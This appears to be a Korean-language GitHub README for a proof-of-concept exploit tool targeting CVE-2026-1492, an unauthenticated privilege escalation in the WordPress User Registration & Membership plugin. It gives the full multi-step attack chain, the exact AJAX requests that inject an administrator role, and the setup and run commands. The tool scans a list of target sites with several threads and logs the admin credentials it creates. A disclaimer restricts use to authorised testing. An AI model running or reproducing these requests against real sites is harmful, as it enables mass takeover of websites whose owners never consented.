
User Registration & Membership <= 5.1.2 - 멤버십 등록을 통한 인증되지 않은 권한 상승
User Registration & Membership <= 5.1.2 - 멤버십 등록을 통한 인증되지 않은 권한 상승
설명:
WordPress용 User Registration & Membership 플러그인은 5.1.2를 포함한 모든 버전에서 인증되지 않은 권한 상승에 취약합니다. 이 취약점은 user_registration_membership_register_member AJAX 핸들러가 멤버십 등록 과정에서 서버 측 허용 목록(allowlist)이나 권한 검사를 적용하지 않고 사용자가 제공한 role 값을 수락하는 데서 비롯됩니다. 완전히 인증되지 않은 원격 공격자는 다단계 AJAX 요청 체인을 구성하여 — 먼저 새 사용자 계정을 등록한 다음, members_data JSON 페이로드에 "role": "administrator"를 주입한 악의적인 register_member 호출을 제출함으로써 — 완전한 권한을 가진 WordPress 관리자 계정을 조용히 생성할 수 있습니다. 이로 인해 사용자 상호 작용 없이 영향받은 WordPress 설치가 완전히 손상됩니다.
이것은 취약한 버전의 User Registration & Membership 플러그인을 실행하는 WordPress 사이트를 대상으로 완전한 상태 인식 공격 체인을 구현하는 개념 증명(PoC) 악용 스크립트입니다. 이 도구는 자동 발견, 플랜 추출, nonce 수집, 이중 흐름 등록, 역할 주입 및 관리자 검증을 통해 지능적인 다단계 악용을 수행합니다.
[Discovery Phase]
GET /membership-pricing/ → Extract membership plan IDs
GET /registration/ → Extract form fields, nonces, AJAX params
↓
[Registration Phase — Flow A]
POST /wp-admin/admin-ajax.php
action=user_registration_user_form_submit
→ Register new user account
↓
[Role Injection Phase — Flow A]
POST /wp-admin/admin-ajax.php
action=user_registration_membership_register_member
members_data={"role":"administrator", "membership":"<id>", ...}
→ Inject administrator role into newly created account
↓
[Admin Verification Phase]
GET /wp-admin/ → Check for admin dashboard indicators
GET /wp-admin/plugin-install.php → Confirm plugin-install access
↓
[Fallback Override — Flow B]
If Flow A admin check fails → repeat with fresh username/email
↓
[Write to Nx_admin.txt]
Format: https://target.com/wp-login.php user:<u> pass:<p>
pip install requests urllib3 rich
또는 requirements 파일을 통해:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-1492.git
cd CVE-2026-1492
# Install dependencies
pip install -r requirements.txt
# Run the tool
python3 CVE-2026-1492.py
python3 CVE-2026-1492.py
이 도구는 Rich로 구동되는 완전한 대화형 터미널 인터페이스를 사용합니다. 모든 매개변수는 런타임에 입력하라는 메시지가 표시됩니다.
한 줄에 하나의 대상이 포함된 일반 텍스트 파일(기본값: list.txt)을 생성합니다:
https://target1.com
https://target2.com
http://target3.com/wordpress
Targets file [list.txt]: list.txt
Credentials:
- Username prefix: random number is added per site (fresh user per target/plan/flow)
- Email: if left empty, it will be built from the username automatically
- Password: fixed for all sites
Username prefix (optional): Nxploited
Email (optional):
Password [Nx_12999]: Nx_12999
Threads [3]: 5
HTTP timeout (seconds) [10]: 10
이 도구는 자동으로 다음을 발견하고 파싱합니다:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_user_form_submit
&form_data=[{"field_name":"user_login","value":"Nxploited_A_482910",...}]
&form_id=1
&ur_frontend_form_nonce=<extracted_nonce>
&security=<extracted_security>
&is_membership_active=<membership_id>
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_membership_register_member
&members_data={"membership":"<id>","payment_method":"free","role":"administrator","username":"Nxploited_A_482910",...}
&form_response={...}
&_wpnonce=<membership_nonce>
&security=<membership_nonce>
⚠️ 서버는 허용 목록 검증 없이 클라이언트로부터
role필드를 수락합니다 — 이것이 CVE-2026-1492의 근본 원인입니다.
이 도구는 새 세션을 열고 새로 생성된 자격 증명으로 로그인한 후 다음 엔드포인트를 검사합니다:
https://target.com/wp-login.php user:Nxploited_A_482910|pass:Nx_12999
╔══════════════════════════════════════════════════════════════════════╗
║ CVE-2026-1492 | User Registration & Membership — Admin PoC ║
║ By: Nxploited | GitHub: github.com/Nxploited | @KNxploited ║
╚══════════════════════════════════════════════════════════════════════╝
[INFO] https://target.com
[OK] https://target.com | REG-A-OK user:Nxploited_A_482910 mem:3
[OK] https://target.com | MEM-A-OK membership A (role=administrator payload) sent
[OK] https://target.com | ADMIN-A user:Nxploited_A_482910 pass:Nx_12999 mem:3
┌─────────────────────────────��───────────────────────────────────────────────┐
│ Target │ Status │ Note │
├─────────────────────────────────────────────────────────────────────────────┤
│ https://target.com │ ✅ ADMIN-A │ user:Nxploited_A_482910 ... │
│ https://target2.com │ MEM-B-FAIL │ membership not configured │
│ https://target3.com │ DEAD │ connection error │
└─────────────────────────────────────────────────────────────────────────────┘
제작: Nxploited (Khaled Alenazi)
이 도구는 교육 및 승인된 보안 연구 목적으로만 제공됩니다.
이 프로젝트의 작성자인 Nxploited(Khaled Alenazi) 및 모든 기여자는 이 도구의 오용이나 명시적인 서면 승인 없이 시스템에 이 소프트웨어를 사용하여 발생하는 모든 손해에 대해 용납하지 않으며, 지지하지 않으며, 어떠한 책임도 지지 않습니다.
- ✅ 허용: 본인이 소유했거나 테스트할 명시적인 서면 허가를 받은 시스템에 사용.
- ❌ 금지: 시스템 소유자의 사전 명시적 서면 승인 없이 모든 시스템에 사용.
컴퓨터 시스템에 대한 무단 접근은 불법이며, 미국 컴퓨터 사기 및 남용 법안(CFAA), 영국 컴퓨터 오용 법안(CMA) 및 전 세계의 동등한 법률을 포함하되 이에 국한되지 않는 관련 법률에 따라 처벌될 수 있습니다.
이 도구를 사용함으로써 귀하는 자신의 행동에 대한 단독 및 전적인 책임을 수락하며, 대상 시스템을 테스트할 법적 권한이 있음을 확인합니다.
작성자는 이 소프트웨어의 사용 또는 오용으로 인해 발생하는 직접적, 간접적, 부수적 또는 결과적 손해에 대해 어떠한 책임도 지지 않습니다.
© 2026 Nxploited(Khaled Alenazi) — 승인된 보안 연구용으로만 제공됩니다.
| 필드 | 세부 정보 |
|---|
| CVE ID | CVE-2026-1492 |
| 심각도 | 치명적 — CVSS v3.1 점수: 9.8 |
| 벡터 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| 영향받는 소프트웨어 | User Registration & Membership — WordPress용 맞춤 등록 양식 빌더, 맞춤 로그인 양식, 사용자 프로필, 콘텐츠 제한 및 멤버십 플러그인 |
| 영향받는 버전 | 5.1.2를 포함한 모든 버전 |
| 취약점 유형 | 잘못된 권한 관리 — 인증되지 않은 관리자 계정 생성 |
| 필요한 인증 | 없음 |
| CWE | CWE-269: 잘못된 권한 관리 |
| 대상 | 추출되는 항목 |
|---|
/membership-pricing/ | 멤버십 플랜 ID, 등록 페이지 링크 |
/registration/ | 양식 필드, nonce, AJAX URL, 멤버십 라디오 입력 |
user_registration_params JS 객체 | ajax_url, security nonce, 양식 메타데이터 |
ur_membership_frontend_localized_data | 멤버십 전용 nonce, AJAX 엔드포인트 |
| 엔드포인트 | 확인되는 지표 |
|---|
/wp-admin/ | adminmenu, wp-admin-bar, manage_options |
/wp-admin/users.php | users.php |
/wp-admin/plugin-install.php | upload-plugin, plugin-install-tab |
| 파일 | 설명 |
|---|
Nx_admin.txt | ✅ 확인된 관리자 계정 |
membership_success_log.txt | 성공한 모든 멤버십 역할 주입 호출 |
discovery_log.txt | 대상별 전체 발견 데이터(nonce, ID, 필드) |
registration_log.txt | 모든 등록 AJAX 요청 및 응답 |
membership_log.txt | 모든 멤버십 AJAX 요청 및 응답 |
admin_check_log.txt | 로그인 시도 및 관리자 검증 결과 |
| 상태 | 색상 | 의미 |
|---|
ADMIN-A / ADMIN-B | 🟢 초록 | 관리자 확인됨 — 흐름 A 또는 B |
ADMIN-A-OVERRIDE | 🟢 초록 | 오버라이드 시도 후 관리자 확인됨 |
REG-A-FAIL / REG-B-FAIL | 🟡 노랑 | 등록 AJAX가 실패를 반환함 |
MEM-A-FAIL / MEM-B-FAIL | 🟣 마젠타 | 멤버십 역할 주입 호출 실패 |
REG-PENDING-A/B | ⚫ 어두움 | 계정에 이메일 검증 또는 관리자 승인이 필요함 |
NO-MEM-ID | ⚫ 어두움 | 대상에서 멤버십 플랜 ID를 찾을 수 없음 |
NO-UR-NONCE | ⚫ 어두움 | 등록 nonce를 추출할 수 없음 |
NO-ADMIN | ⚫ 어두움 | 멤버십은 성공했지만 관리자 접근이 확인되지 않음 |
TIMEOUT | ⚫ 어두움 | HTTP 시간 초과 |
DEAD | ⚫ 어두움 | 연결 오류 — 사이트에 연결할 수 없음 |
ERROR | 🔴 빨강 | 예기치 않은 예외 |